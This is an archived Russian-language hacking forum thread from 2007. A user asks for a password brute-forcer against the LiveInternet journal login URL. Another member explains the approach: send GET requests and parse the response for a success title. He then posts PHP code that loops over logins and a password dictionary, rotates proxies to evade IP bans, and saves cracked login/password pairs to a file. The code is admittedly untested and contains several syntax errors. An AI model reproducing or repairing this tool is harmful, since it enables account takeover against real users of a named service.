PDA

Просмотр полной версии : Вопрос по программе.


freddi
13.04.2007, 22:14
Есть ссылка вида:
http://www.site.ru/zzz.php?nick=xxx&pass=yyy
Если ник и пароль подходят друг другу - то делается редирект на страницу:
http://www.site.ru/nick/
если нет, то остается на:
http://www.site.ru/zzz.php?nick=xxx&pass=yyy
и выводит надпись типа неправельный логин или пароль.

Нужно составить скрипт, который будет автоматически проверять список таких ссылок и отлавливать этот редирект. На чом написать?
Если на пхп или джаваскрипте(хотя врядли))) подскажите плз, что там можно использовать.
Ну а если на перле - то вам придется полностью программу написать))

mR_LiNK[deface_0nl
13.04.2007, 22:27
Нужно составить скрипт, который будет автоматически проверять список таких ссылок и отлавливать этот редирект.

Не понимаю смысла вопроса, какой список ссылок??
Как - то темно все.. т.е. у тебя где то в сорсе есть список ссылок вида ..?login=..&pass=.. , и тебе нужно проверить соответствие значений переменных во всех ссылках (сразу вопрос - откуда значения берешь??БД?); далее скрипт отлова редиректа, что тоже не очень понятно.., тебе нун своего рода лог или динамически снифать значения переменных??

Опиши свою конечную цель (т.е. смысл будующего скрипта, со всеми тонкостями, букв можешь не жалеть)))

freddi
13.04.2007, 22:37
Не понимаю смысла вопроса, список каких ссылок??

http://www.site.ru/zzz.php?nick=ник1&pass=пасс1
http://www.site.ru/zzz.php?nick=ник1&pass=пасс2
http://www.site.ru/zzz.php?nick=ник1&pass=пасс3


Как я понял, ты привел пример аутентификации, логин & пасс вводятся в форму, Get, при выполнении условия редирект в закрытую зону.

Никуда они не вводятся. Они передаются по этой ссылке.

Опиши свою конечную цель (т.е. смысл будующего скрипта, букв можешь не жалеть)))

Это будет брутер.

mR_LiNK[deface_0nl
13.04.2007, 22:48
мда... так и над было на старте писать - скрипт брута))..
надеюсь с пХп знаком, и соответственно должен знать как соединяться с сервом (функции работы с сокетами).. отправляешь следующие заголовки GET http://www.site.ru/zzz.php?login=login1&pass=pass1 HTTP/1.1
referrer: http://www.site.ru/forma.php - 'страница с формой'

Далее, сложность заключается в ответе сервера, ибо он и на правильные и на неправильные данные будет отправлять тебе ответ '200 OK'. Соответственно решается эта проблема парсингом страницы на наличие какой-то фразы, характерной для успешной аутентификации, после каждого ответа сервера

зы: надеюсь я все правильно понял, если что-то не так, тогда лучше по асе объячни, номер внизу--\

freddi
14.04.2007, 16:17
Я сам конечно же не справлюсь, так что вот:

http://www.liveinternet.ru/journal_login.php?nick=имядневника&password=пароль

Это ссылка для авторизации в дневнике, если пароль соответсвует юзеру, то идет редирект на страницу дневника, а если нет - то выводит ошибку.
Может кто-нибудь и напишет брутер.

SMiX
14.04.2007, 20:56
Там бан по айпи. Нужны прокси. Брутер есть, только не скрипт а программа.

mR_LiNK[deface_0nl
15.04.2007, 06:54
Написал скрипт брута, пока не тестил, так что смотрим критикуем (ток не особо, не гуру пока еще_..))) и тестим если все норм, возможны ошибки синтаксиса (скорее описки!! пока постил несколько успел увидеть)))

трудность - бан ip на 2-е минуты в случае 3-ех кратного повтора неверной аутентификации одного логина (решается динамической сменой прокси, по 1-у прокси на 2-е пары, тем самым список прокси зацикливается и избегается бан)

Брут НЕ сложных паролей. Рассчитан на массовый подбор юзеров, поэтому НЕ нужно класть огромный словарь на все случаи жизни!! Если необходим брут конкретного пользователя - скрипт легко модифицируется, НО проксей соответственно нужно много больше!!

Необходимо 4-и файла {
login.txt (здесь список логинов, каждый логин в новой строке)
proxy.txt (здесь список прокси вида IP:port, каждый в новой строке)
pass.txt (здесь словарь для брута; словарь нун скачать, имхо в сети их полно!)
succes.txt (сюда скрипт пишет пару логин и пароль в случае успешного совпадения)
}

<?php
//массив логинов
$f_log = fopen (login.txt, r);
$login = fread($f_log, 65000);
$name = explode('\n', $login);
fclose($f_log);

//массив проксей (в файле прокси разделены '\n'), порт и хост разделены ':'
$f_proxy = fopen('proxy.txt', r);
$proxy = fread($f_proxy, 65000);
$proxy_server = explode("\n", $proxy);
$n=count($proxy_server);
for ($i=0; $i<=count($proxy_server)-1; $i++)
{
$proxy_serv[$i] = explode(":", $proxy_server[$i]);
}
fclose($f_proxy);

//массив паролей из словаря))
$f_pass = fopen (pass.txt, r);
$passwd = fread($f_pass, 65000);
$pass = explode('\n', $passwd);
fclose($f_pass);

//собственно брут
for($n=0; $n<count($name); $n++)
{
$path = 'http://www.liveinternet.ru/journal_login.php?nick='.$name[n];
for($i=0; i<count($proxy_serv);$i++)
{
$fp = fsockopen($proxy_serv[i][0], $proxy_serv[i][1], $errno, $errstr, 30);
if (!$fp) {
echo "errstr". $errno "<br />\n";
} else {
for($p=0; $p<2; $p++)
{
$path .= '&password='.$pass[p];
$header = "GET $path HTTP/1.1\r\n";
$header .= "Host: 'http://www.liveinternet.ru'\r\n";
$header .= "Connection: Close\r\n\r\n";
//$headers .= "referrer: $hostname\r\n"; так как проверка данного заголовка не предусмотрена системой безопасности сайта этот параметр можно опустить.
// отправляем
fputs($fp, $header);

//получаем ответ и работаем с ним
$returndata = fread($fp, 65000);
$flag = '<title>Дневник '.$login': LiveInternet - Дневники,Новости,Форумы</title>';
$pos = strpos($returndata, $flag);
if ($pos) {
$succ = 'Для '.$login 'пароль: '.$pass;
$f_succes = fopen ('succes.txt', a+);
fputs ('succes.txt', $succ);
fclose($f_succes);
}
fclose($fp);
}
}
}

}

fclose($f_log);
fclose($f_proxy);
fclose($f_pass);
?>